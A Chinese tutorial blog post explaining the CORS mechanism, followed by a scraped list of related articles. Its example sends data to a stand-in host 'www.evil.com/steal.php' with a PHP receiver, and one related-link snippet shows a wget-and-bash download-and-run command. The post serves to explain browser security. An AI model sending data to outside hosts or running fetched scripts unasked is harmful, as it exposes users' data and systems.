跨域(一)——CORS机制
Ajax是严格遵守同源策略的,既不能从另一个域读取数据,也不能发送数据到另一个域。但是,W3C的新标准中CORS(Cross Origin Resource Sharing)推进浏览器支持这样的跨域方案。
这个方案过程如下 :
www.foo.com(来源域)的Ajax向www.evil.com(目标域)发起了请求,浏览器自动带上Origin头,如下:
Origin:http://www.foo.com
然后目标域要判断这个Origin值,如果是自己预期的,那么就返回:
Access-Control-Allow-Origin:http://www.foo.com
表示同意跨域。如果Access-Control-Allow-Origin之后是*通配符,则表示任意域都可以往目标跨。如果目标域不这样做,浏览器获得响应后没发现Access-Control-Allow-Origin头的存在,就会报类似下面这样的权限警告:
<script>
function createCORSRequest(method,url){
var xhr=new XMLHttpRequest();
if("withCredentials" in xhr){
xhr.open(method,url,true);
}else if(typeof XDomainRequest!="undefined"){
xhr=new XDomainRequest();//IE浏览器
xhr.open(method,url);
}else{
xhr=null;
}
return xhr;
}
var request=createCORSRequest("get","http://www.evil.com/steal.php?data=222");
if(request){
request.onload=function(){//请求成功后弹出响应内容
alert(request.responseText);
};
request.send();
}
</script>
目标域上有 steal.php的代码如下:
<?php
header("Access-Control-Allow-Origin:http://www.foo.com");
echo $_GET["data"];
?>
跨域往目标域发起请求后,效果如下:
aaarticlea/png;base64,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" alt="" />
但是,其实,如果目标域不设置Access-Control-Allow-Origin:http://www.foo.com,隐私数据也会被偷到,因为实际上数据已经被目标域的steal.php接收到了。CORS的安全策略仅仅在于是否允许客户端获取服务器的返回数据,但并不会阻止客户端发送的请求。也因此,客户端可以使用XMLHttpRequest向任意网站发送跨域请求,拒绝服务。
另外,默认情况下,这样的跨域无法带上目标域的会话(Cookies等),需要设置xhr实例的withCredentials属性为true(IE还不支持),同时目标域的steal.php必须设置如下:
<?php
header("Access-Control-Allow-Origin:http://www.foo.com");
header("Access-Control-Allow-Credentials:true"); ?>
同时还要注意,如果设置了Access-Control-Allow-Credentials为true,那么Access-Control-Allow-Origin就不能设置为*通配符。这也是浏览器为了安全进行的考虑。
跨域(一)——CORS机制的更多相关文章
- Django-缓存机制、跨域请求(CORS)、ContentType组件
Django缓存机制: 在settings中间件里面设置: 三个粒度: 1 全站缓存 用中间件: MIDDLEWARE = [ # 'django.middleware.cache.UpdateCac ...
- AJAX POST&跨域 解决方案 - CORS
一晃又到新年了,于是开始着手好好整理下自己的文档,顺便把一些自认为有意义的放在博客上,记录成点的点滴. 跨域是我在日常面试中经常会问到的问题,这词在前端界出现的频率不低,主要原因还是 ...
- AJAX POST&跨域 解决方案 - CORS(转载)
跨域是我在日常面试中经常会问到的问题,这词在前端界出现的频率不低,主要原因还是由于安全限制(同源策略, 即JavaScript或Cookie只能访问同域下的内容),因为我们在日常的项目开发时会不可避免 ...
- JSONP跨域和CORS跨域
什么是跨域? 跨域:指的是浏览器不能执行其它网站的脚本,它是由浏览器的同源策略造成的,是浏览器的安全限制! 同源策略 同源策略:域名.协议.端口均相同. 浏览器执行JavaScript脚本时,会检查这 ...
- (转) AJAX POST&跨域 解决方案 - CORS
跨域是我在日常面试中经常会问到的问题,这词在前端界出现的频率不低,主要原因还是由于安全限制(同源策略, 即JavaScript或Cookie只能访问同域下的内容),因为我们在日常的项目开发时会不可避免 ...
- WebApi 跨域解决方案 --CORS
跨站HTTP请求(Cross-site HTTP request)是指发起请求的资源所在域不同于请求指向的资源所在域的HTTP请求. 比如说,我在Web网站A(www.a.com)中通过<img ...
- 跨域解决方案 - 跨域资源共享cors
目录 1. cors 介绍 2. 原理 3. cors 解决跨域 4. 自定义HTTP 头部字段解决跨域 5. 代码演示 5. 参考链接 1. cors 介绍 cors 说的是一个机制,其实相当于一个 ...
- VUE SpringCloud 跨域资源共享 CORS 详解
VUE SpringCloud 跨域资源共享 CORS 详解 作者: 张艳涛 日期: 2020年7月28日 本篇文章主要参考:阮一峰的网络日志 » 首页 » 档案 --跨域资源共享 CORS 详解 ...
- 网络编程-跨域资源共享 CORS
目录 1.什么是同源策略? 2.跨域资源共享 CORS 3.预检请求 4.CORS相关字段 5.Golang实现跨域 6.参考资料 1.什么是同源策略? 如果两个 URL 的 protocol.por ...
- 跨域资源共享(CORS)问题解决方案
CORS:Cross-Origin Resource Sharing(跨域资源共享) CORS被浏览器支持的版本情况如下:Chrome 3+.IE 8+.Firefox 3.5+.Opera 12+. ...
随机推荐
- openVPN设置本地密码验证
wget https://git.io/vpn -O openvpn-install.sh && bash openvpn-install.sh https://github.com/ ...
- Python3 文件的重命名
在Python3中我们要实现将本地文件homework.txt中的内容的修改操作时,大体的思路是这样的:先将homework.txt文件的内容读取到内存中,在内存中对里面的数据进行修改,接着将修改完成 ...
- git遇到的问题之“Please make sure you have the correct access rights and the repository exists.”
对于git的提交一直很小心翼翼,感觉一不小心就会踩到莫名的坑. 这不, 某天commit 就遇到了On branch master nothing to commit (working directo ...
- [UE4]在UI中获取玩家角色实例
- (转)CS域和PS域
版权声明:本文为博主原创文章,未经博主允许不得转载. https://blog.csdn.net/u013485792/article/details/50818356 CS域和PS域的区别: 1.基 ...
- $.extend与$.fn.extend()
很多情况下,用户需要对jQuery插件进行二次开发,那么我们来看看JQ原开发者为我们提供的两种扩展插件的方式如下: 1.类别类:相当于为jquery扩展一个类,比如现在我要扩展一个简单的想加的功能函数 ...
- 用ng-style修改元素的color, size等
1) 在Controller中定义变量myStyle var myStyle={'background-color':'blue'} $scope.myStyle = myStyle; 2) 在HTM ...
- Android WebView清空缓存
Android原生和H5混合开发,要求用户退出登录后清空H5所有的缓存: 1.清空Cookie CookieSyncManager.createInstance(context.getApplicat ...
- jQuery设置div的自适应布局
一.HTML代码: <div class="ui-wraper" id="Wraper"> </div> 二.CSS代码: html { ...
- IP地址查询接口API
项目需要根据ip查询pos机设备所在的省份信息,经查询有以下几种免费接口: 1. 淘宝IP API http://ip.taobao.com/service/getIpInfo.php?ip=xxx ...